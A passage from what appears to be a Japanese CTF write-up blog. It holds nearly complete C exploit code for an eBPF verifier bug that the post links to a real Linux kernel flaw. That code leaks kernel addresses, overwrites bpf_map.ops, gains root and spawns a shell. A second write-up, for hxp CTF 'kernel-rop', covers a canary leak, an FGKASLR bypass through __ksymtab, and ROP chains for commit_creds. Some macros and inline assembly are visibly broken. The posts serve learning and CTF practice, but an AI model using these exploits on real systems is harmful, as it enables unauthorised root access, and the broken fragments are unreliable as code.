    err(1, "MAP_LOOKUP_ELEM");
  return value;
}

int prog_load(struct bpf_insn *insns, size_t insns_count) {
  char verifier_log[100000];
  union bpf_attr create_prog_attrs = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = insns_count,
    .insns = (uint64_t)insns,
    .license = (uint64_t)"GPL v2",
    .log_level = 2,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };
  int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
  int errno_ = errno;
  //printf("==========================\n%s==========================\n",verifier_log);
  errno = errno_;
  if (progfd == -1)
    err(1, "prog load");
  return progfd;
}

int create_filtered_socket_fd(struct bpf_insn *insns, size_t insns_count) {
  int progfd = prog_load(insns, insns_count);

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
    err(1, "socketpair");
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
    err(1, "setsockopt");
  return socks[1];
}

void trigger_proc(int sockfd) {
  if (write(sockfd, "X", 1) != 1)
    err(1, "write to proc socket failed");
}
// (END eBPF-utils)


// commands
#define DEV_PATH ""   // the path the device is placed

// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)

// globals
int control_map;
int reader = -1;
// (END globals)


// utils
#define WAIT getc(stdin);
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void*)0
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
#define REP(N) for(int moratorium=0; moratorium!+N; ++N)
ulong user_cs,user_ss,user_sp,user_rflags;
struct pt_regs {
  ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
  ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
  ulong ax; ulong cx; ulong dx; ulong si; ulong di;
  ulong orig_ax; ulong ip; ulong cs; ulong flags;
  ulong sp; ulong ss;
};
void print_regs(struct pt_regs *regs)
{
  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
}
void NIRUGIRI(void)
{
  int ruid, euid, suid;
  getresuid(&ruid, &euid, &suid);
  if(euid != 0)
    errExit("[ERROR] somehow, couldn't get root...");
  system("/bin/sh");
}
// should compile with -masm=intel
static void save_state(void) {
  asm(
      "movq %0, %%cs\n"
      "movq %1, %%ss\n"
      "movq %2, %%rsp\n"
      "pushfq\n"
      "popq %3\n"
      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
}

static void shellcode(void){
  asm(
    "xor rdi, rdi\n"
    "mov rbx, QWORD PTR [rsp+0x50]\n"
    "sub rbx, 0x244566\n"
    "mov rcx, rbx\n"
    "call rcx\n"
    "mov rdi, rax\n"
    "sub rbx, 0x470\n"
    "call rbx\n"
    "add rsp, 0x20\n"
    "pop rbx\n"
    "pop r12\n"
    "pop r13\n"
    "pop r14\n"
    "pop r15\n"
    "pop rbp\n"
    "ret\n"
  );
}
// (END utils)

ulong read_rel(int N)
{
  struct bpf_insn reader_insns[] = {
    /* get cmap[0] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                // qword[r2] = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 0)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),       // r6 = cmap[0] (==0)
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),                // r9 = &cmap[0]
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                // r8 = &cmap[0]
    /* get cmap[1] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1),                // qword[r2] = 1
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 1)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),       // r7 = cmap[1] (==1)
    /* fix r6/r7 range */
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2),              // ensure R6>=0
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1),              // ensure 0<=R6<=1
    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2),              // ensure R7>=0
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1),              // ensure 0<=R7<=1
    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    // exploit r6 range 
    BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7),       // r6 >>= r7 (r6 regarded as 0, actually 1)
    BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0),               // r6 *= -1
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N),               // r6 *= N

    // load it malciously
    BPF_ALU64_REG(BPF_ADD, BPF_REG_9, BPF_REG_6),       // r9 += r6 (r9 = &cmap[0] + N)
    BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_9, 0),       // r3 = qword [r9] (r3 = [&cmap[0] + N])
    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_3, 0),       // [r8] = r3 (cmap[0] = r9)
    // Go Home
    BPF_MOV64_IMM(BPF_REG_0, 0),                        // r0 = 0
    BPF_EXIT_INSN()
  };

  reader = create_filtered_socket_fd(reader_insns, ARRSIZE(reader_insns));
  if(reader < 0){
    errExit("reader not initialized");
  }
  array_update(control_map, 0, 1);
  array_update(control_map, 1, 0);
  trigger_proc(reader);
  const ulong tmp = get_ulong(control_map, 0);
  return tmp;
}

ulong leak_controlmap(void)
{
  struct bpf_insn reader_insns[] = {
    /* get cmap[0] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                // qword[r2] = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 0)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),       // r6 = cmap[0] (==0)
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),                // r9 = &cmap[0]
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                // r8 = &cmap[0]

    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_8, 0),       // [r8] = r3 (cmap[0] = r9)
    // Go Home
    BPF_MOV64_IMM(BPF_REG_0, 0),                        // r0 = 0
    BPF_EXIT_INSN()
  };

  int tmp_reader = create_filtered_socket_fd(reader_insns, ARRSIZE(reader_insns));
  if(tmp_reader < 0){
    errExit("tmp_reader not initialized");
  }
  trigger_proc(tmp_reader);
  const ulong tmp = get_ulong(control_map, 0);
  return tmp;
}

void ops_NIRUGIRI(ulong controlmap_addr, ulong kernbase)
{
  const ulong fakeops_addr = controlmap_addr + 0x10;
  const ulong init_cred = kernbase + 0xE43E60;
  const ulong commit_creds = kernbase + 0x081E70;
  const uint N = 0x90;
  const uint zero = 0;
  printf("[.] init_cred: 0x%lx\n", (((init_cred>>32) & 0xFFFFFFFFUL)<<32) + (init_cred & 0xFFFFFFFFUL));

  struct bpf_insn writer_insns[] = {
    /* get cmap[0] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                // qword[r2] = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 0)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),       // r6 = cmap[0] (==0)
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),                // r9 = &cmap[0]
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                // r8 = &cmap[0]
    /* get cmap[1] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1),                // qword[r2] = 1
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 1)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),       // r7 = cmap[1] (==1)
    /* fix r6/r7 range */
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2),              // ensure R6>=0
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1),              // ensure 0<=R6<=1
    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2),              // ensure R7>=0
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1),              // ensure 0<=R7<=1
    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
    // exploit r6 range 
    BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7),       // r6 >>= r7 (r6 regarded as 0, actually 1)
    BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0),               // r6 *= -1
    // overwrite ops into forged ops
    BPF_MOV64_IMM(BPF_REG_1, (fakeops_addr>>32) & 0xFFFFFFFFUL),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, fakeops_addr & 0xFFFFFFFFUL),
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N),
    BPF_ALU64_REG(BPF_ADD, BPF_REG_8, BPF_REG_6),       // r8 += r6
    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_1, 0),
    // forge ptrs[0] with &init_cred
    BPF_MOV64_IMM(BPF_REG_2, 0),
    BPF_MOV64_IMM(BPF_REG_3, init_cred & 0xFFFFFFFFUL),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_3, 32),
    BPF_ALU64_IMM(BPF_ARSH, BPF_REG_3, 32),
    BPF_ALU64_REG(BPF_ADD, BPF_REG_2, BPF_REG_3),
    BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_2, 0),
    
    // Go Home
    BPF_MOV64_IMM(BPF_REG_0, 0),                        // r0 = 0
    BPF_EXIT_INSN()
  };

  int evilwriter= create_filtered_socket_fd(writer_insns, ARRSIZE(writer_insns));
  if(evilwriter < 0){
    errExit("reader not initialized");
  }

  // setup fake table
  for(int ix=0; ix!=10; ++ix){
    array_update(control_map, ix+2, commit_creds);
  }
  array_update(control_map, 6, kernbase + 0x12B730);  // fd_array_map_delete_elem

  // overwrite bpf_map.ops
  array_update(control_map, 0, 1);
  array_update(control_map, 1, 0);
  trigger_proc(evilwriter);

  // NIRUGIRI
  union bpf_attr lookup_map_attrs = {
    .map_fd = control_map,
    .key = (uint64_t)&zero,
  };
  bpf_(BPF_MAP_LOOKUP_ELEM, &lookup_map_attrs);
  NIRUGIRI();
  printf("[-] press ENTER to die\n");
  WAIT;
}

int main(int argc, char *argv[]) {
  control_map = array_create(0x8, 0x10); // [0] always 1, [1] always 0

  // leak kernbase
  const ulong kernbase = read_rel(0x90) - 0xA12100;
  printf("[+] kernbase: 0x%lx\n", kernbase);

  // leak controlmap's addr
  const ulong controlmap_addr = leak_controlmap();
  printf("[+] controlmap: 0x%lx\n", controlmap_addr);

  // forge bpf_map.ops and do commit_creds(&init_cred)
  ops_NIRUGIRI(controlmap_addr, kernbase);

  return 0; // unreachable
}

 

8: アウトロ

f:id:smallkirby:20210220030702p:plain

FLAG{TSGはゲームサークルです}

最初は権限ゆるすぎてどうなんだろうと思ってたけど、bpf_map.btfなしでROOT取る流れを考えるのは楽しかったです。

もうすぐ春ですね。海を見に行きたいです。

 

 

9: 参考

1: author's writeup

https://blog.hexrabbit.io/2021/02/07/ZDI-20-1440-writeup/

2: original 0-day blog

https://www.thezdi.com/blog/2021/1/18/zdi-20-1440-an-incorrect-calculation-bug-in-the-linux-kernel-ebpf-verifier

3: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

続く...

 

 

【pwn 49.0】kernel-rop - hxp CTF 2020 (kernel exploit)

keywords

kROP / FGKASLR / kernel exploit / ksymtab_xxx / rp++

 

f:id:smallkirby:20210216224221p:plain

Buffer Overflow vs Hottest Kernel Defenses

 

1: イントロ

いつぞや開催された hxp CTF 2020 。そのpwn問題である kernel-rop を解いていく。kernelを起動した瞬間にvulnとtopicをネタバレしていくスタイルだった。

そういえば、今月は自分の中でkernel-pwn強化月間で、解くべき問題を募集しているので、これは面白いから解いてみろとか、これは為になるから見てみろとかあったら教えてください。解ける限り解きます。

github.com

 

2: static

basic

basic.sh
/ $ cat /proc/version
Linux version 5.9.0-rc6+ (martin@martin) (gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0, GNU ld (GNU Binutils f0
/ $ lsmod
hackme 20480 0 - Live 0x0000000000000000 (O)
$ modinfo ./hackme.ko
filename:       /home/wataru/Documents/ctf/hxp2020/kernel-rop/work/./hackme.ko
version:        DEV
author:         Martin Radev <https://twitter.com/martin_b_radev>
description:    hackme
license:        GPL
srcversion:     838E71A30F4FFB7229182E4
depends:
retpoline:      Y
name:           hackme
vermagic:       5.9.0-rc6+ SMP mod_unload

qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 kaslr kpti=1 quiet panic=1"

SMEP有効・SMAP有効・KAISER有効・KASLR有効・oops!->panic

 

vmlinuzを展開してvmlinuxにしたところ、以下のメッセージが出た。

too-many-section.sh
$ file ./vmlinux
./vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), too many section (36140)

too many section (36140)カーネルイメージで too many section といえば、 FGKASLR である。関数毎にセクションが用意されロード時にランダマイズされるため、関数ポインタのleakの殆どが無意味になる。

fgkaslr.sh
$ readelf -S ./vmlinux | grep kmem_cache
  [11414] .text.kmem_cache_ PROGBITS         ffffffff81643220  00843220
  [11448] .text.kmem_cache_ PROGBITS         ffffffff81644430  00844430
  [11449] .text.kmem_cache_ PROGBITS         ffffffff81644530  00844530
  [11457] .text.kmem_cache_ PROGBITS         ffffffff81644810  00844810
  [11458] .text.kmem_cache_ PROGBITS         ffffffff81644b00  00844b00
  [12494] .text.kmem_cache_ PROGBITS         ffffffff8169a1b0  0089a1b0
  [12536] .text.kmem_cache_ PROGBITS         ffffffff8169e710  0089e710
  [12537] .text.kmem_cache_ PROGBITS         ffffffff8169eb80  0089eb80
  [12540] .text.kmem_cache_ PROGBITS         ffffffff8169f240  0089f240
  [12541] .text.kmem_cache_ PROGBITS         ffffffff8169f6b0  0089f6b0
  [12553] .text.kmem_cache_ PROGBITS         ffffffff816a0f70  008a0f70
  [12557] .text.kmem_cache_ PROGBITS         ffffffff816a15b0  008a15b0
  [12559] .text.kmem_cache_ PROGBITS         ffffffff816a1a00  008a1a00
  [12561] .text.kmem_cache_ PROGBITS         ffffffff816a2020  008a2020

 

Module

おい、ソースないやんけ。その理由を書いた嘆願書も添付されてないやんけ。

hackme という名前のmiscdeviceが登録される。

f:id:smallkirby:20210216224304p:plain

registered miscdevice

 

実装されている操作は open/release/read/write の4つ。さてリバースをしようと思いGhidraを開いたら、 Ghidra君が全ての関数をデコンパイルすることを放棄してしまった。。。 これ、たまにある事象なので今度原因を調べる。それかIDAも使えるようにしておく。

f:id:smallkirby:20210216224324p:plain

見放さないでよ、Ghidraくん...

 

まぁアセンブリを読めばいいだけなので問題はない。read/writeはおおよそ以下の疑似コードのようなことをしている。

read-write.c
write(struct file *filp, char *data, size_t size, loff_t off){
    if(size <= 0x1000){
        __check_object_size(hackme_buf, size, 0);
        if(_copy_from_user(hackme_buf, buf, sizse)){
            return -0xE;
        }
        memcpy($rsp-0x98, hackme_buf, size); // <-- VULN: なにしてんのお前???
        __stack_chk_fail();
    }else{
        _warn_printk("Buffer_overflow_detected_(%d_<_%u)!", 0x1000, size);
        __stack_chk_fail(); // canary @ $rbp-0x18
        return -0xE;
    }
}
read(struct file *filp, char *data, size_t size){
    memcpy(hackme_buf, $rsp-0x98, size);    // <-- VULN: not initialized...
    __check_object_size(hackme_buf, size, 1);
    if(_copy_to_user(data, hackme_buf, size)){
        return -0xE;
    }
    __stack_chk_fail(); // canary @ $rbp-0x18
}

 

なんかもう、意味分からんことしてるな。FGKASLRのせいでGDBの表示もイカれてるし、しまいにはAbortしたわ。。。

f:id:smallkirby:20210216224359p:plain

GDB aborted...

 

まぁそれはいいとして、hackme_write()ではhackme_bufに読んだデータを、$rsp-0x98へとmemcpy()している。この際のサイズ制限は0x1000であるが、これだけのデータをスタックにコピーすると当然崩壊してしまう。だが、$rsp-0x18カナリアが飼われており、これを崩さないようにしないとOopsする。また、hackme_read()においては$rsp-0x98からのデータをhackme_bufにコピーし、そのあとでhackme_bufユーザランドにコピーしている。

 

3: Vuln

上のコードからも分かるとおり、スタックがかなりいじれる(R/W)。但し、カナリアは居る。

f:id:smallkirby:20210216224451p:plain

stack easily collapsed

4: leak canary

カナリアが飼われているものの、hackme_read()のチェックがガバガバのため、readに関しては思うがままにでき、よって容易にカナリアをleakできる。

canary-leak.c
/** snippet **/
  _read(fd, rbuf, 0x90);
  printf("[+] canary: %lx\n", ((ulong*)rbuf)[0x80/8]);
  
/** result **/
/ # /tmp/exploit
[+] canary: 32ce1536acf87a00
/ #

 

5: kROP

これでcanaryがleakできたため、スタックを任意に書き換えることができるようになった。SMEP/SMAPともに有効であるから、ユーザランドに飛ばすことはできない。また、FGKASLRが有効のためガジェットの位置がなかなか定まらない。FGKASLRが有効でもデータセクション及び一部の関数はランダマイズされないことは知っているが、そういったシンボルをどうやって見つければいいか分からなかった。

 

__ksymtab_xxx

ここでauthor's writeupカンニング

__ksymtab_xxxエントリをleakすればいいらしい。そこで試しにkmem_cache_alloc()の情報を以下に挙げる。

kmem_cache_alloc_info.sh
kernbase: 0xffffffff81000000
kmem_cache_create: 0xffffffff81644b00
__ksymtab_kmem_cache_create: 0xffffffff81f8b4b0
__kstrtab_kmem_cache_create: 0xffffffff81fa61ea

(gdb) x/4wx $ksymtab_kmem_cache_create
0xffffffff81f8b4b0:     0xff6b9650      0x0001ad36      0x0001988a

僕は__ksymtab_xxx各エントリには、シンボルのアドレス・__kstrtab_xxxへのポインタ・ネームスペースへのポインタがそれぞれ0x8byteで入っているものと思っていたが、上を見る感じそうではない。どうやら、KASLRが利用できるarchにおいては、このパッチでアドレスの代わりにオフセットを入れるようになったらしい。シンボルの各エントリは以下の構造を持ち、以下のようにして解決される。

include/linux/export.h
#ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS
#include <linux/compiler.h>
(snipped...)
#define __KSYMTAB_ENTRY(sym, sec)					\
	__ADDRESSABLE(sym)						\
	asm("	.section \"___ksymtab" sec "+" #sym "\", \"a\"	\n"	\
	    "	.balign	4					\n"	\
	    "__ksymtab_" #sym ":				\n"	\
	    "	.long	" #sym "- .				\n"	\
	    "	.long	__kstrtab_" #sym "- .			\n"	\
	    "	.long	__kstrtabns_" #sym "- .			\n"	\
	    "	.previous					\n")

struct kernel_symbol {
	int value_offset;
	int name_offset;
	int namespace_offset;
};
#else
kernel/module.c
static unsigned long kernel_symbol_value(const struct kernel_symbol *sym)
{
#ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS
	return (unsigned long)offset_to_ptr(&sym->value_offset);
#else
	return sym->value;
#endif
}

static const char *kernel_symbol_name(const struct kernel_symbol *sym)
{
#ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS
	return offset_to_ptr(&sym->name_offset);
#else
	return sym->name;
#endif
}
include/linux/compiler.h
static inline void *offset_to_ptr(const int *off)
{
	return (void *)((unsigned long)off + *off);
}

要は、そのエントリのアドレスに対してそのエントリの持つ値を足してやれば、そのエントリの示すシンボルのアドレス、および__kstrtab_xxxのアドレスになるというわけである。そして、幸いなことにこのエントリ達はreadableなデータであり、FGKASLRの影響を受けない(KASLRの影響は受ける)。よって、この__ksymtab_xxxのアドレス、厳密にはこの配列のインデックスも固定であるためその内のどれか(一番最初のエントリはffffffff81f85198 r __ksymtab_IO_APIC_get_PCI_irq_vector)が分かればFGKASLRを完全に無効化したことになる。

 

find not-randomized pointer to leak kernbase

だがまだ進捗は全く出ていない。この__ksymtab_xxxのアドレス自体を決定する必要がある。今回は最初スタックからしかleakできないため、このstackをとにかく血眼になって FGKASLRの影響を受けていないポインタを探す 。以下のように、$RSP-38*0x8にあるポインタがKASLR有効の状態で何回か試しても影響を受けていなかった。

f:id:smallkirby:20210216224541p:plain

not-randomized pointer in stack

これで、kernbaseのリークができたことになる。すなわち、__ksymtab_xxxの全てのアドレスもleakできたことになる。

 

find gadget to leak the data of __ksymtab_xxx

さて、__ksymtab_xxxのアドレスが分かったが、今度はこの中身を抜くためのガジェットが必要になる。このガジェットも勿論、FGKASLRの影響を受けないような関数から取ってこなくてはならない。 ROP問って、ただガジェット探す時間が多くなるから嫌い 。。。

ということで、 rp++ のラッパーとしてFGKASLRに影響されないようなガジェットを探してくれるシンプルツールを書きました。まだまだバグだらけだけど、ゼロから探すよりかは8億倍楽だと思う。

github.com

 

これを使うと、以下のような感じでFGKASLRの影響を受けないシンボルだけを探してくれて。

f:id:smallkirby:20210216224658p:plain

wrapper of rp++ to find non-randomized symbols

実際に、これはFGKASLRの影響を受けていないことが分かる。こうなればあとは、ただのkROP問題だ。

f:id:smallkirby:20210216224726p:plain

actually the symbols found by neorp++ are not affected by FGKASLR

 

これを使って、gadgetを探して以下のようなchainを組んだ。

chain-to-leak-ksymtab.asm
  // leak symbols from __ksymtab_xxx
  save_state();
  ulong *c = &wbuf[CANARY_OFF];
  memset(wbuf, 'A', 0x200);
  *c++ = canary;
  *c++ = '1'; // rbx
  *c++ = '2'; // r12
  *c++ = '3'; // rbp
  *c++ = kernbase + 0x4D11; // pop rax
  *c++ = kernbase + 0xf87d90; // __ksymtab_commit_creds
  *c++ = kernbase + 0x015a80; // mov eax, dword[rax]; pop rbp;
  *c++ = 'A'; // rbp
  *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
  for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
    *c++ = 'A' + ix + 1;
  *c++ = &NIRUGIRI;
  *c++ = user_cs;
  *c++ = user_rflags;
  *c++ = user_sp;
  *c++ = user_ss;
  _write(fd, wbuf, 0x130);

すると、iretqの直前には以下のようになって、ちゃんとNIRUGIRI()に帰れることがわかる。(因みに、なんでか上手くユーザランドに帰れなくて小一時間ほど時間を浪費してしまったが、結局_write()で書き込むバイト数が足りておらず、user_ss等を書き込めていなかったことが原因だった)

f:id:smallkirby:20210216224821p:plain

successful iretq

 

但し、まだNIRUGIRIをするには早すぎる。一回のkROPでできることは一つのleakだけだから、これを複数回繰り返してleakを行う。具体的にはleakするシンボルは、commit_credsprepare_kernel_credである。current_taskに関してはFGKASLRの影響を受けないため問題ない。

 

6: get ROOT

上の方法でcommit_creds()prepare_kernel_cred()をleakしたら、同様に neorop++ でFGKASLRに影響されないガジェットを探し、あとは全く同じ方法でcommit_creds(prepare_kernel_cred(0))をするだけである。最後の着地点はユーザランドのシェルを実行する関数にすれば良い。`

 

7: exploit

exploit.c
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>


// commands
#define DEV_PATH "/dev/hackme"   // the path the device is placed

// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)

// globals
// (END globals)


// utils
#define WAIT getc(stdin);
#define REP(N) for(int iiiiix=0;iiiiix!=N;++iiiiix)
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void*)0
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
ulong user_cs,user_ss,user_sp,user_rflags;
struct pt_regs {
	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
	ulong orig_ax; ulong ip; ulong cs; ulong flags;
  ulong sp; ulong ss;
};
void print_regs(struct pt_regs *regs)
{
  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
}
void NIRUGIRI(void)
{
  printf("[!!!] NIRUGIRI!!!\n");
  char *argv[] = {"/bin/sh",NULL};
  char *envp[] = {NULL};
  execve("/bin/sh",argv,envp);
}
// should compile with -masm=intel
static void save_state(void) {
  asm(
      "movq %0, %%cs\n"
      "movq %1, %%ss\n"
      "movq %2, %%rsp\n"
      "pushfq\n"
      "popq %3\n"
      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
  printf("[+] save_state: cs:%lx ss:%lx sp:%lx rflags:%lx\n", user_cs, user_ss, user_sp, user_rflags);
}

static void shellcode(void){
  asm(
    "xor rdi, rdi\n"
    "mov rbx, QWORD PTR [rsp+0x50]\n"
    "sub rbx, 0x244566\n"
    "mov rcx, rbx\n"
    "call rcx\n"
